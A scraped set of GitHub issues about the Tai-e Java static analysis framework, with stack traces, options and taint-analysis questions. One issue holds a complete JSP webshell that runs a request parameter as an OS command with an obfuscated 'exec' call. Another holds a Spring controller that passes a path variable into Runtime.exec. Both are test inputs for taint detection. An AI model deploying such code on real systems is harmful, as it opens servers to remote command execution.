at pascal.taie.analysis.dataflow.inter.InterConstantPropagation.transferCallEdge(InterConstantPropagation.java:59)
at pascal.taie.analysis.dataflow.inter.AbstractInterDataflowAnalysis.transferEdge(AbstractInterDataflowAnalysis.java:104)
at pascal.taie.analysis.dataflow.inter.InterSolver.lambda$doSolve$2(InterSolver.java:87)
at java.base/java.lang.Iterable.forEach(Iterable.java:75)
at java.base/java.util.Collections$UnmodifiableCollection.forEach(Collections.java:1092)
at pascal.taie.analysis.dataflow.inter.InterSolver.doSolve(InterSolver.java:85)
at pascal.taie.analysis.dataflow.inter.InterSolver.solve(InterSolver.java:57)
at pascal.taie.analysis.dataflow.inter.AbstractInterDataflowAnalysis.analyze(AbstractInterDataflowAnalysis.java:125)
at pascal.taie.analysis.dataflow.inter.AbstractInterDataflowAnalysis.analyze(AbstractInterDataflowAnalysis.java:44)
at pascal.taie.analysis.AnalysisManager.runProgramAnalysis(AnalysisManager.java:93)
at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:71)
at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:60)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:59)
at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:59)
at pascal.taie.Main.executePlan(Main.java:142)
at pascal.taie.Main.lambda$main$0(Main.java:56)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.Main.main(Main.java:48)
at TestTaie.main(TestTaie.java:70)
It seems that the arguments does not match the parameters. The debug information is as follows:
Could you please help me about that, thanks a lot!
I have some questions about tai-e options.Btw I take this repo as testing repository.
Firstly I come across a Exception Exception in thread "main" java.lang.RuntimeException: Main-class has no main method!
when using the argument -ap -cp "/java-sec-code/target/java-sec-code-1.0.0.jar" -m org.joychou.Application -java 8 -a "pta=only-app:true;implicit-entries:false;taint-config:/Tai-e/src/main/resources/taint-config.yml;action:dump;action-file:result.txt"
.
Then I use /java-sec-code/target/classes
instead of jar file in -cp
and the exception is gone but I found in the analysis World.get().getClassHierarchy().applicationClasses()
only get the class org.joychou.Application
.(the argument is -ap -cp "/java-sec-code/target/classes" -m org.joychou.Application -java 8 -a "pta=only-app:true;implicit-entries:false;taint-config:/Tai-e/src/main/resources/taint-config.yml;action:dump;action-file:result.txt"
)
I got all the application class in World.get().getClassHierarchy().applicationClasses()
when I use -acp
in arguments(-ap -acp "/java-sec-code/target/classes" -m org.joychou.Application -java 8 -a "pta=only-app:true;implicit-entries:false;taint-config:/Tai-e/src/main/resources/taint-config.yml;action:dump;action-file:result.txt"
)
When I think it should be done, I found the callgraph is incomplete.
The java code Runtime.getRuntime().exec(cmd);
in CommandExec method, <java.lang.Runtime: java.lang.Process exec(java.lang.String)>
should be one of the callee in the caller CommandExec
. I was searching the answer in issues and I think may be the reason is invokevirtual. Finally, I add --input-classes java.lang.Runtime
in options and solve the problem.
The arguement in the end is -ap -acp "/java-sec-code/target/classes" -m org.joychou.Application -java 8 --input-classes java.lang.Runtime -a "pta=only-app:true;implicit-entries:false;taint-config:/Tai-e/src/main/resources/taint-config.yml;action:dump;action-file:result.txt"
Maybe I solved the problem I mentioned before but I am still confused about the options though I don't know if the question I asked is easy for those students who have the degree in static analysis.
1. What's the difference when using -acp
ใ-cp
and --input-classes
? Can it provide some explicit usage in tai-e document?
2. When the call is invokevirtual
, the solution is add it in option --input-classes
even if it can be translated to the right tir in tai-e?
I also have some other advice in the following
Sincerely hope tai-e can become an awesome project in static analysis and play a bigger role in code security๏ฝ
-ap -acp "/java-sec-code/target/classes" -m org.joychou.Application -java 8 --input-classes java.lang.Runtime -a "pta=only-app:true;implicit-entries:false;taint-config:/Tai-e/src/main/resources/taint-config.yml;action:dump;action-file:result.txt"
tai-e commit: 2cfded1
Hi! I have some confusion when using Tai-e.
Var
instance, butpta finishes, elapsed time: 0.19s
Tai-e finishes, elapsed time: 2.85s
r13
r0
$r12
$r0
$r3
%stringconst3
$r9
$r0
$r6
$r8
$r14
So is there any way to get the real variable name which is consitent with source code?
I have just been exposed to the knowledge of PL, and I may need to use this knowledge in my current work. I need to replace the behavior (statements) of some variables in java with my own design statements. for instance:
A a = new A() -> A a = my_new A()
b = a.get() -> b = a.my_get()
a.write(c) -> a.my_write(c)
How should I use the tai-e framework to accomplish this task?
What I'm thinking about now is whether we can use pointer analysis on 'a', locate the behavior of 'a' at the IR level, modify the IR statement, and then convert the modified IR statement back to the Java language according to some rules. Is this idea feasible? Or can we use other functions of tai-e to solve this problem more ingeniously?
Thanks a lot!
When "Cannot resolve xxx ", Does it continue to make the complete CFG?
๏ผsome edges are missing๏ผ
--allow-phantom -pp -cp PROJECT_CLASSPATH -m PROJECT_CLASS -a icfg -scope APP
No response
Hello everyone, I want to obtain the jump scope such as the two control flows of if
statement. Consider an example:
if (condition1)
{ interested statements }
else
{ interested statements }
The methods provided by Tai-e
only indicate the target statement without the exit statement of control flow. Could you please help me with that, thank you very much!
public class Foo {
@Override
public String toString() {
return "str";
}
}
public class Main {
public static void main(String[] args) {
System.out.println("some print" + new Foo());
}
}
In the above example, when string concat is being performed, the call to toString
of Foo
is not in "call-edges.txt" (running with only-app:false
)
Hello everyone, I've met a problem when I tried to analyze hadoop components (2.10.2). It did not appear when I analyzed a single component of hadoop, but it came out after adding all dependencies to the classpath
.
The console log is as follows:
Exception in thread "main" java.lang.NullPointerException
at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
at java.base/java.lang.reflect.Constructor.newInstanceWithCaller(Constructor.java:499)
at java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:480)
at java.base/java.util.concurrent.ForkJoinTask.getThrowableException(ForkJoinTask.java:564)
at java.base/java.util.concurrent.ForkJoinTask.reportException(ForkJoinTask.java:591)
at java.base/java.util.concurrent.ForkJoinTask.invoke(ForkJoinTask.java:689)
at java.base/java.util.stream.ForEachOps$ForEachOp.evaluateParallel(ForEachOps.java:159)
at java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.evaluateParallel(ForEachOps.java:173)
at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:238)
at java.base/java.util.stream.ReferencePipeline.forEach(ReferencePipeline.java:596)
at java.base/java.util.stream.ReferencePipeline$Head.forEach(ReferencePipeline.java:765)
at pascal.taie.analysis.AnalysisManager.runMethodAnalysis(AnalysisManager.java:138)
at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:75)
at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:60)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:59)
at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:59)
at pascal.taie.Main.executePlan(Main.java:142)
at pascal.taie.Main.lambda$main$0(Main.java:56)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.Main.main(Main.java:48)
at main.TaieMain.main(TaieMain.java:15)
Caused by: java.lang.NullPointerException: IndexMap does not permit null values
at java.base/java.util.Objects.requireNonNull(Objects.java:233)
at pascal.taie.util.collection.IndexMap.put(IndexMap.java:110)
at pascal.taie.analysis.dataflow.fact.DataflowResult.setInFact(DataflowResult.java:61)
at pascal.taie.analysis.dataflow.solver.WorkListSolver.initializeForward(WorkListSolver.java:46)
at pascal.taie.analysis.dataflow.solver.AbstractSolver.initialize(AbstractSolver.java:58)
at pascal.taie.analysis.dataflow.solver.AbstractSolver.solve(AbstractSolver.java:41)
at pascal.taie.analysis.dataflow.analysis.AnalysisDriver.analyze(AnalysisDriver.java:48)
at pascal.taie.analysis.dataflow.analysis.AnalysisDriver.analyze(AnalysisDriver.java:36)
at pascal.taie.analysis.AnalysisManager.lambda$runMethodAnalysis$3(AnalysisManager.java:140)
at java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.accept(ForEachOps.java:183)
at java.base/java.util.AbstractList$RandomAccessSpliterator.forEachRemaining(AbstractList.java:720)
at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:522)
at java.base/java.util.stream.ForEachOps$ForEachTask.compute(ForEachOps.java:290)
at java.base/java.util.concurrent.CountedCompleter.exec(CountedCompleter.java:754)
at java.base/java.util.concurrent.ForkJoinTask.doExec(ForkJoinTask.java:373)
at java.base/java.util.concurrent.ForkJoinPool$WorkQueue.topLevelExec(ForkJoinPool.java:1182)
at java.base/java.util.concurrent.ForkJoinPool.scan(ForkJoinPool.java:1655)
at java.base/java.util.concurrent.ForkJoinPool.runWorker(ForkJoinPool.java:1622)
at java.base/java.util.concurrent.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:165)
It seems that the problem is caused by the initialization of forward flow analysis. Could you please help me about that, thanks a lot!
Exception in thread "main" java.lang.NullPointerException: Cannot invoke "Object.equals(Object)" because "superclass" is null
at pascal.taie.language.classes.ClassHierarchyImpl.isSubclass(ClassHierarchyImpl.java:398)
at pascal.taie.language.type.TypeSystemImpl.isSubtype(TypeSystemImpl.java:183)
at pascal.taie.analysis.pta.core.solver.TypeFilter.lambda$apply$0(TypeFilter.java:56)
at java.base/java.util.stream.ReferencePipeline$2$1.accept(ReferencePipeline.java:178)
at java.base/java.util.Iterator.forEachRemaining(Iterator.java:133)
at java.base/java.util.Spliterators$IteratorSpliterator.forEachRemaining(Spliterators.java:1845)
at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:509)
at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:499)
at java.base/java.util.stream.ForEachOps$ForEachOp.evaluateSequential(ForEachOps.java:150)
at java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.evaluateSequential(ForEachOps.java:173)
at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:234)
at java.base/java.util.stream.ReferencePipeline.forEach(ReferencePipeline.java:596)
at pascal.taie.analysis.pta.core.solver.TypeFilter.apply(TypeFilter.java:57)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.addPFGEdge(DefaultSolver.java:734)
at pascal.taie.analysis.pta.core.solver.Solver.addPFGEdge(Solver.java:119)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.lambda$processArrayStore$3(DefaultSolver.java:385)
at java.base/java.lang.Iterable.forEach(Iterable.java:75)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.processArrayStore(DefaultSolver.java:381)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.analyze(DefaultSolver.java:294)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.solve(DefaultSolver.java:238)
at pascal.taie.analysis.pta.PointerAnalysis.runAnalysis(PointerAnalysis.java:118)
at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:106)
at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:63)
at pascal.taie.analysis.AnalysisManager.runProgramAnalysis(AnalysisManager.java:147)
at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:120)
at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:104)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:103)
at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:102)
at pascal.taie.Main.executePlan(Main.java:143)
at pascal.taie.Main.lambda$main$0(Main.java:57)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.Main.main(Main.java:49)
-ap -cp "snakeyaml-1.21.jar:groovy-2.4.7.jar:spring-expression-4.3.6.RELEASE.jar" -acp "/java-sec-code/target/classes"
-m org.joychou.Application
-java 8
-a "pta=only-app:false;implicit-entries:false;taint-config:/Tai-e/src/main/resources/taint-config.yml;action:dump"
-a "ir-dumper=dump-dir:./sootOutput"
-a "cg=algorithm:pta;dump:./output/cg.dot"
tai-e commit: 2cfded1
When analyzing the program, Tai-e throw a java.lang.IndexOutOfBoundsException, here is the stack traceback of the reported error.
This is the site information before the error, hope it can provide you with some help.
callSite's invokeExpr points to "newInstance" instead of ""๏ผ this does not look as expected?
Here is my jsp code
<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%--
ไฝฟ็จExpression็ฑปๅฎ็ฐJSP Webshell
--%>
<%
String cmd = request.getParameter("ladypwd");
Expression expr = new Expression(Runtime.getRuntime(), "e"+"x"+"e"+"c", new Object[]{cmd});
Process p = (Process)expr.getValue();
InputStream is = p.getInputStream();
StringBuilder sb = new StringBuilder();
BufferedReader br = new BufferedReader(new InputStreamReader(is));
String line;
while((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
out.print("<pre>");
if (sb.length() > 0) {
out.print(sb.toString());
}
out.print("</pre>");
%>
cmdline
--input-classes=org.apache.jsp.bf6wgpw0qqyy9orw316ihzckb5xf7qo1,javax.servlet.http.HttpServletResponseWrapper,javax.servlet.http.HttpServletRequestWrapper
-java
8
-scope
APP
-ap
-a
pta=action:dump;action-file:dumpfile;taint-config:src/test/resources/pta/taint/taint-config.yml;only-app:false;implicit-entries:false
-cp
/path/to/javax.servlet-api-4.0.1.jar:/path/to/compiler_dir
The compiler_dir you can download the attachment.
TaintConfig
sources:
- { method: "<javax.servlet.ServletRequest: java.lang.String getParameter(java.lang.String)>", type: "java.lang.String" }
- { method: "<javax.servlet.ServletRequestWrapper: java.lang.String getParameter(java.lang.String)>", type: "java.lang.String"}
sinks:
- { method: "<java.lang.Runtime: java.lang.Process exec(java.lang.String)>", index: 0 }
- { method: "<java.lang.ClassLoader: java.lang.Class defineClass(byte[],int,int)>", index: 0}
- { method: "<java.beans.Expression: java.lang.Object getValue()>", index: base}
transfers:
- { method: "<java.beans.Expression: void <init>(java.lang.Object,java.lang.String,java.lang.Object[])>", from: 2, to: base, type: "void"}
OS: macOS Monterey 12.6
IDE: IntelliJ IDEA 2022.2.1 (Ultimate Edition)
Tai-e version: commit 3f1f27d
Java Version:
openjdk version "17.0.3" 2022-04-19 LTS
OpenJDK Runtime Environment Zulu17.34+19-CA (build 17.0.3+7-LTS)
OpenJDK 64-Bit Server VM Zulu17.34+19-CA (build 17.0.3+7-LTS, mixed mode, sharing)
Hi, I notice this code use TreeSet
as container of TaintFlow
.
TreeSet
require TaintFlow
must implement interface Comparable
.
I wonder if it possible to replace TreeSet
with HashSet
, because element of HashSet
doesn't have to be comparable.
Hello, thanks for the great framework. I have a question about the Tai-e memory consumption.
In my laptop, I run pointer analysis with 1obj
for antlr
, it failed due to OOM(Out of Memory). My laptop has 32GB memory, I also change the Help|Change Memory Setting
of Intellij idea
to 32GB. Though I observe that the idea
memory showed in Windows Task Manager
is not high(around 4GB).
To my limited knowledge, the memory consumption would not be too high for a 1obj
pointer analysis to analyze a small benchmark like antlr
. Here is the error message:
Using reflection log from java-benchmarks\dacapo-2006\antlr-refl.log
Java heap space
java.lang.OutOfMemoryError: Java heap space
at pascal.taie.util.collection.AbstractHybridSet.iterator(AbstractHybridSet.java:241)
at java.base/java.util.AbstractCollection.addAll(AbstractCollection.java:335)
at pascal.taie.util.collection.GenericBitSet.addAll(GenericBitSet.java:103)
at pascal.taie.util.collection.AbstractHybridSet.addAll(AbstractHybridSet.java:181)
at pascal.taie.analysis.pta.pts.DelegatePointsToSet.addAll(DelegatePointsToSet.java:51)
at pascal.taie.analysis.pta.core.solver.WorkList.addEntry(WorkList.java:55)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.addPointsTo(DefaultSolver.java:654)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.lambda$propagate$0(DefaultSolver.java:273)
at pascal.taie.analysis.pta.core.solver.DefaultSolver$$Lambda$329/0x0000000800f35718.accept(Unknown Source)
at java.base/java.lang.Iterable.forEach(Iterable.java:75)
at java.base/java.util.Collections$UnmodifiableCollection.forEach(Collections.java:1092)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.propagate(DefaultSolver.java:272)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.analyze(DefaultSolver.java:248)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.solve(DefaultSolver.java:222)
at pascal.taie.analysis.pta.PointerAnalysis.runAnalysis(PointerAnalysis.java:118)
at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:106)
at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:63)
at pascal.taie.analysis.AnalysisManager.runProgramAnalysis(AnalysisManager.java:93)
at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:71)
at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:60)
at pascal.taie.analysis.AnalysisManager$$Lambda$233/0x0000000800eeb8b8.run(Unknown Source)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer$$Lambda$117/0x0000000800dbfda8.get(Unknown Source)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:59)
at pascal.taie.analysis.AnalysisManager$$Lambda$232/0x0000000800eeb698.accept(Unknown Source)
at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:59)
at pascal.taie.Main.executePlan(Main.java:142)
at pascal.taie.Main.lambda$main$0(Main.java:56)
DaCapoRunner.main(new String[]{"1-obj", "antlr"});
Noticing Tai-e technical report requires a 128-GB-setting, I wonder If there is any way to make 1obj
pointer analysis run normally in the laptop? e.g., turn off some options at the cost of precision loss.
Thanks for your time!
I used the propagate-types
option in pointer analysis, but it doesn't seem to be effective. I set the following types for propagate-types:
"-cp", "./workspace/testJar1.jar",
"-m", "TestCase15",
"-a", "icfg",
"-a", "mymethod",
"-a", "pta=propagate-types:[int,long,float,null,reference];cs:1-call",
"-a", "constraint",
"-ap"
OS: Win 11
IDE: Jetbrains IDEA
The version of Tai-e: latest (10a633f)
Thank you so much!
as I know, Tai-e need to specify entry class by option -m <main-class>
.
but for some jar library eg: jdk1.8, there isn't main class to be specified,
I wonder how to handler this case to carry out analysis
I am analyzing a very large project (cs:2-type
).
After few hours of analysis I get OOM: Java heap space
.
Attached the stack trace:
Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
at pascal.taie.util.collection.SparseBitSet.getOrCreateBlock(SparseBitSet.java:1023)
at pascal.taie.util.collection.SparseBitSet.set(SparseBitSet.java:193)
at pascal.taie.util.collection.GenericBitSet.add(GenericBitSet.java:73)
at java.base/java.util.AbstractCollection.addAll(AbstractCollection.java:336)
at pascal.taie.util.collection.GenericBitSet.addAll(GenericBitSet.java:105)
at pascal.taie.util.collection.AbstractHybridSet.addAll(AbstractHybridSet.java:183)
at pascal.taie.analysis.pta.pts.DelegatePointsToSet.addAll(DelegatePointsToSet.java:52)
at pascal.taie.analysis.pta.pts.HybridBitPointsToSet.addAll(HybridBitPointsToSet.java:32)
at pascal.taie.analysis.pta.core.solver.WorkList.addEntry(WorkList.java:53)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.addPointsTo(DefaultSolver.java:796)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.lambda$propagate$2(DefaultSolver.java:404)
at pascal.taie.analysis.pta.core.solver.DefaultSolver$$Lambda$401/0x0000000801312118.accept(Unknown Source)
at java.base/java.lang.Iterable.forEach(Iterable.java:75)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.lambda$propagate$3(DefaultSolver.java:403)
at pascal.taie.analysis.pta.core.solver.DefaultSolver$$Lambda$400/0x0000000801311ee0.accept(Unknown Source)
at java.base/java.lang.Iterable.forEach(Iterable.java:75)
at java.base/java.util.Collections$UnmodifiableCollection.forEach(Collections.java:1092)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.propagate(DefaultSolver.java:401)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.analyze(DefaultSolver.java:335)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.solve(DefaultSolver.java:262)
at pascal.taie.analysis.pta.PointerAnalysis.runAnalysis(PointerAnalysis.java:127)
at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:113)
at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:70)
at pascal.taie.analysis.AnalysisManager.runProgramAnalysis(AnalysisManager.java:155)
at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:142)
at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:107)
at pascal.taie.analysis.AnalysisManager$$Lambda$264/0x00000008012c1cc8.get(Unknown Source)
at pascal.taie.util.Timer.runAndCount(Timer.java:94)
at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:104)
at pascal.taie.analysis.AnalysisManager$$Lambda$263/0x00000008012c1870.accept(Unknown Source)
at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:103)
The result of pointer analysis is quite big, sometimes you need to open a big file just to view the result of taint analysis, which is not reasonable, and if output to console, it may cause IDE to crash or stuck(I encountered this situation)
We can consider adding an option to output to the specified file, such as taint-file or taint-result, if the option is not specified, the behavior is the same as if the option is not specified
No response
No response
package com.example.demo.controller;
import org.springframework.http.HttpStatus;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
@RestController
public class TestController {
public static void exec(String[] cmd) {
try {
new ProcessBuilder(cmd).start();
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
System.out.println(e);
}
}
@RequestMapping(value = {"/aaa/{uuid:.+}"}, method = {RequestMethod.GET}, produces = {"application/json"})
@ResponseStatus(HttpStatus.OK)
@ResponseBody
public String index(HttpServletRequest request, @PathVariable String[] uuid) throws Exception {
exec(uuid);
return "asd";
}
}
I need to use the index function as an entrypoint, how should I mock the String[] uuid parameter?
HeapModel heapModel = solver.getHeapModel();
JClass httpRequestWrapper = World.get().getClassHierarchy().getClass("javax.servlet.http.HttpServletRequestWrapper");
JClass servletRequestWrapper = World.get().getClassHierarchy().getClass("javax.servlet.ServletRequestWrapper");
JClass jClass = World.get().getClassHierarchy().getClass("com.example.demo.controller.TestController");
JMethod index = jClass.getDeclaredMethod("index");
SpecifiedParamProvider.Builder builder = new SpecifiedParamProvider.Builder(index);
builder.addThisObj(heapModel.getMockObj("entryobj", "class", jClass.getType()));
builder.addParamObj(0, heapModel.getMockObj("entryobj", "method1", httpRequestWrapper.getType(), index));
TypeSystem typeSystem = solver.getTypeSystem();
ClassType string = typeSystem.getClassType(ClassNames.STRING);
builder.addParamObj(1, heapModel.getMockObj("entryobj", "method2", typeSystem.getArrayType(string, 1), index));
solver.addEntryPoint(new EntryPoint(index, builder.build()));
Here is my code, but it doesn't work.
Hi
I'm trying to use Tai-e framework to analysis my java program, I may found a issue which Tai-e can't analysis lamda foreach statement.
the code be analysised
import java.util.ArrayList;
import java.util.List;
class InterTaintTransfer {
public static void main(String[] args) {
SourceSink sourceSink = new SourceSink();
List<String> list = new ArrayList<>();
list.stream().forEach( e -> {sink(sourceSink);});
}
static void sink(SourceSink s){
doSink(s);
}
static void doSink(SourceSink s){
}
}
the arguments I start Tai-e
-pp -m InterTaintTransfer -cp src/test/resources/pta/taint/ -a pta=cs:2-type;dump-ci:true;dump:true;only-app:true;implicit-entries:false;taint-config:src/test/resources/pta/taint/taint-config.yml;handle-invokedynamic:true -a cg=dump:true
the call-graph.dot result
digraph G {
node [color=".3 .2 1.0",shape=box,style=filled];
edge [];
"0" [label="<java.util.Collection: java.util.stream.Stream stream()>",];
"1" [label="<java.lang.Object: void <init>()>",];
"2" [label="<java.lang.invoke.LambdaMetafactory: java.lang.invoke.CallSite metafactory(java.lang.invoke.MethodHandles$Lookup,java.lang.String,java.lang.invoke.MethodType,java.lang.invoke.MethodType,java.lang.invoke.MethodHandle,java.lang.invoke.MethodType)>",];
"3" [label="<SourceSink: void <init>()>",];
"4" [label="<InterTaintTransfer: void main(java.lang.String[])>",];
"5" [label="<java.util.ArrayList: void <init>()>",];
"3" -> "1" [label="[0@L1] invokespecial %this.<java.lang.Object: void <init>()>();",];
"4" -> "5" [label="[3@L8] invokespecial $r1.<java.util.ArrayList: void <init>()>();",];
"4" -> "0" [label="[4@L9] $r2 = invokeinterface $r1.<java.util.List: java.util.stream.Stream stream()>();",];
"4" -> "3" [label="[1@L7] invokespecial $r0.<SourceSink: void <init>()>();",];
"4" -> "2" [label="[5@L9] $r3 = invokedynamic <java.lang.invoke.LambdaMetafactory: java.lang.invoke.CallSite metafactory(java.lang.invoke.MethodHandles$Lookup,java.lang.String,java.lang.invoke.MethodType,java.lang.invoke.MethodType,java.lang.invoke.MethodHandle,java.lang.invoke.MethodType)> "accept" <MethodType: java.util.function.Consumer (SourceSink)>[MethodType: void (java.lang.Object), MethodHandle[REF_invokeStatic]: <InterTaintTransfer: void lambda$main$0(SourceSink,java.lang.String)>, MethodType: void (java.lang.String)]($r0);",];
}
issue 1:
the call graph of static void sink(SourceSink s)
is missing.
issue 2:
the call-graph.dot looks like has some syntax error, it throw exception when I use dotviz to convert .dot to .pdf.
the command I executed
dot -Tpdf call-graph.dot -o cg_result.pdf
and the result and exception I got.
Error: call-graph.dot: syntax error in line 14 near '"'
-pp -m InterTaintTransfer -cp src/test/resources/pta/taint/ -a pta=cs:2-type;dump-ci:true;dump:true;only-app:true;implicit-entries:false;taint-config:src/test/resources/pta/taint/taint-config.yml;handle-invokedynamic:true -a cg=dump:true
No response
Tai-e starts ...
Writing options to output/options.yml
Writing analysis plan to output/tai-e-plan.yml
WorldBuilder starts ...
5798 classes with 54936 methods in the world
WorldBuilder finishes, elapsed time: 11.70s
pta starts ...
[Pointer analysis] elapsed time: 12.79s
#var pointers: 5,0008 (insens) / 5,0008 (sens)
#objects: 1,1582 (insens) / 1,1582 (sens)
#var points-to: 1524,0102 (insens) / 1524,0102 (sens)
#static field points-to: 4,2060 (sens)
#instance field points-to: 328,1338 (sens)
#array points-to: 34,2971 (sens)
#reachable methods: 7313 (insens) / 7313 (sens)
#call graph edges: 3,8651 (insens) / 3,8651 (sens)
pta finishes, elapsed time: 14.33s
cg starts ...
Call graph has 7313 reachable methods and 38651 edges
Exception in thread "main" java.lang.ClassCastException: class java.lang.Boolean cannot be cast to class java.lang.String (java.lang.Boolean and java.lang.String are in module java.base of loader 'bootstrap')
at pascal.taie.config.AnalysisOptions.getString(AnalysisOptions.java:98)
at pascal.taie.analysis.graph.callgraph.CallGraphBuilder.processOptions(CallGraphBuilder.java:69)
at pascal.taie.analysis.graph.callgraph.CallGraphBuilder.analyze(CallGraphBuilder.java:57)
at pascal.taie.analysis.graph.callgraph.CallGraphBuilder.analyze(CallGraphBuilder.java:34)
at pascal.taie.analysis.AnalysisManager.runProgramAnalysis(AnalysisManager.java:93)
at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:71)
at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:60)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:59)
at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:59)
at pascal.taie.Main.executePlan(Main.java:142)
at pascal.taie.Main.lambda$main$0(Main.java:56)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.Main.main(Main.java:48)
I want to use Tai-e as a tool to generate call graph but witnessed this error when testing it with a simple program
public class Test{ public static void main(String[] args){ System.out.println("Hello,World!"); } }
